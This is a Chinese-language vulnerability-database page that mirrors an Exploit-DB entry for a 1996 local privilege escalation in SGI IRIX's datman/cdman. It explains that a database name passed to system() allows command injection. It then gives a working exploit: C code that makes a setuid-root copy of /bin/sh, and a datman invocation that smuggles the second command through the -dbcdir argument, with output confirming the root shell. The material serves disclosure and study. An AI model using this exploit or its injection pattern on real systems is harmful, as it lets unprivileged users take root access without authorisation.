SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation

  • SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation已关闭评论
  • 4 views
  • A+
所属分类:安全客_漏洞

SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation

漏洞ID 1053344 漏洞类型
发布时间 1996-12-09 更新时间 1996-12-09
SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege EscalationCVE编号 N/A
SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege EscalationCNNVD-ID N/A
漏洞平台 IRIX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19275
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/347/info

A vulnerability exists in the datman/cdman program, as included with Irix 6.2 and 5.3 from Silicon Graphics Inc. The vulnerability would allow arbitrary users to execute commands as root.

The datman/cdman program will search for the existance of a .cdplayerrc in the users home directory. If it is found, and no .cddb directory is found, cdman will run the cddbcvt program. This program is invoked with the names of both the old and new databases via a system() call. Because of this, it is possible to substitute the names of the database with a command to be executed. 


% cat > /tmp/makesh.c
main()
{
seteuid(0); setegid(0);
system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
}
% cc /tmp/makesh.c -o /tmp/makesh
% mv .cddb .cddb.old
% touch .cdplayerrc
% /usr/sbin/datman -dbcdir "/tmp/blah;/tmp/makesh"
Created "/tmp/blah"
Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh*

相关推荐: WordPress Ninja Forms Contact Form 输入验证错误漏洞

WordPress Ninja Forms Contact Form 输入验证错误漏洞 漏洞ID 2405670 漏洞类型 输入验证错误 发布时间 2021-04-05 更新时间 2021-04-06 CVE编号 CVE-2021-24165 CNNVD-ID…